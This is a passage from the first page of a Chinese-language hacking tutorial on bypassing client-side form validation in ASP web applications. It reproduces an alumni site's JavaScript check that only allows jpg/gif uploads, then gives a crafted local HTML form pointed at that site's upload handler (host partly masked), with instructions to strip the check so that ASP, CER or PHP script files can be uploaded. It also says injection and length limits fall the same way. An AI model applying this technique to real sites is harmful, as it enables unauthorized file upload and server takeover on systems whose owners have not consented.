在Web程序设计中,处理表单提交的数据是客户端向SERVER传递数据的主要方法,表单数据的提交方法有两种Post方法和Get方法,当使用Post方法时,数据由标准的输入设备读入,当使用Get方法时,数据由CGI变量QUERY_STRING传递给表单数据处理程序,当Post方法一般不会在服务器上留下痕迹。具体的实现过程这里我就不多说,有兴趣的朋友可以去翻阅其他资料。不管是ASP程序还是PHP,CGI程序,表单提交的作用的大同小异的,所以这里仅以ASP为例。
一.利用表单本地提交突破入侵限制
既然表单是客户端与服务端的重要数据传递方法之一,那么它的安全性就难免会出
现问题。
1:上传非法文件。
某同学录的popwindowupload1.asp的客户端代码如下:
〈 HTML〉
....
〈 Script language="javascript"〉
function mysubmit(theform)
{
if(theform.big.value=="")
{
alert("请点击浏览按钮,选择您要上传的jpg或gif文件!")
theform.big.focus;
return (false);
}
else
{
str= theform.big.value;
strs=str.toLowerCase();
lens=strs.length;
extname=strs.substring(lens-4,lens);
if(extname!=".jpg" && extname!=".gif")
{
alert("请选择jpg或gif文件!");
return (false);
}
}
return (true);
}
〈 /script〉
.....
〈 input type="hidden" name="act" value="upload"〉
〈 input type="hidden" name="filepath" value="/alumni/class/classimage"〉
〈 input type="submit" name="Submit2" value="开始上传"〉
....
〈 /HTML〉
很明显,这个上传文件在客户端利用SCRIPT限制了上传类型,虽然用SCRIPT可以减轻ASP程序的负载,但象大部分好的方面一样也有它坏的一面,如果其只是在客户端做限制,并在服务端限制上传类型或禁止外部提交,那么它并不能阻止我们上传程序禁止上传的ASP,CER,PHP等文件,只要我们在本地构造一个表单也能能轻松的上传这些文件。
构造的表单主要代码如下:
.............
〈 form name="mainForm" enctype="multipart/form-data" action="http://www.***
w.com/alumni/class/pic/upfile.asp?userid2=" method=post"〉
〈 tr〉
〈 td width="74" align="right" height="26"〉标题:
〈 td width="399"〉十二少
〈 /tr〉
〈 tr〉
〈 td width="74" align="right" height="26"〉照片说明:
〈 td width="399"〉十二少’s照片
〈 /td〉
〈 /tr〉
〈 tr〉
〈 td width="74" align="right" height="26"〉图片路径:
〈 td width="399"〉
〈 input type="file" name="big"〉
〈 /td〉
〈 /tr〉
〈 tr align="center"〉
〈 td colspan="2" height="26"〉
〈 input type="hidden" name="act" value="upload"〉
〈 input type="hidden" name="filepath" value="/alumni/class/classimage"〉
〈 input type="submit" name="Submit2" value="开始上传"〉
〈 br〉
〈 /td〉
〈 /tr〉
〈 tr align="center"〉
〈 td colspan="2" height="26" class="di"〉只支持jpg,gif文件,图片大小在
150k〈 /font〉以内,上传时请耐心等待!
〈 /tr〉
〈 /form〉
....
只要将前面查看得到的代码中的验证文件类型的SCRIPT删掉,然后再修改ACTION后的URL保存为HTML文件即可
2:突破表格注入限制
这个和前面一差不多就不再多说了(呵呵,其实是找不到实例拉)
另外字符输入的长度限制也差不多,只要你看得懂这些HTML语言。
[1] [2] 下一页